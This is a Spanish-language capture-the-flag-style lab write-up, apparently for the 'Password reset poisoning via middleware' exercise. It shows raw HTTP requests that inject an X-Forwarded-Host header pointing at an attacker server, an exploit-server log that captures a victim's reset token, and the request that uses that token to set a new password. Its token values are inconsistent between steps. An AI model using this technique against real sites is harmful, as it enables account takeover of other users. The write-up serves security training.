11 Password reset poisoning via middleware
Primero al realizar un benchmark del funcionamiento normal con el usuario que poseemos wiener:peter evaluamos el flujo de reset de password el cual funciona enviando el usuario o correo hacia nuestro cliente de correo, una vez lo enviamos, se genera una URL por el backend la cual esta conformada por los siguientes parametros: token temporal (temp-forgot-password-token) y new pasasword-1 y -2. Entonces buscaremos manipular la generacion de la URL especificamente del token temporal para que venga hacia un servidor que como atacantes controlemos, en este caso es el exploit server. Manipulamos la solicitud POST hacia el endpoint /forgot-password agregando la cabecera X-Forwarded-Host la cual se encarga de indicar el host original de la solicitud, en este caso, el servidor de explotación. Esto puede ser utilizado para engañar al servidor y hacer que piense que la solicitud proviene de un origen confiable, lo que podría permitirnos realizar acciones no autorizadas o acceder a información sensible. En este caso, estamos intentando recuperar la contraseña del usuario "carlos".
POST /forgot-password HTTP/2
X-Forwarded-Host: exploit-0ab5002c04885d218019026601110039.exploit-server.net
username=carlos
Al revisar los logs de nuestro servidor obtenemos el token temporal el cual utilizaremos
10.0.4.129 2025-12-16 13:56:08 +0000 "GET /forgot-password?temp-forgot-password-token=bdv3fccxflv4gu95l9c8nq4yojggips5 HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
El token temporal lo utilizamos para construir la solicitud de actualizar password
POST /forgot-password?temp-forgot-password-token=ozci58nb56iot1f2yz9l35xzwxu69p7w HTTP/2
temp-forgot-password-token=5o8s0dfbe4sber8o4wfubigmejd8153p&new-password-1=test&new-password-2=test
En resumen, esta vulnerabilidad ocurre porque detras, el backend no valida correctamente el origen de la solicitud y permite que un atacante manipule la generación de la URL de restablecimiento de contraseña. Al agregar la cabecera X-Forwarded-Host, el atacante puede redirigir la URL a un servidor controlado por ellos, lo que les permite interceptar el token temporal y utilizarlo para restablecer la contraseña del usuario objetivo. Esto resalta la importancia de validar adecuadamente las solicitudes y no confiar en las cabeceras que pueden ser manipuladas por los atacantes.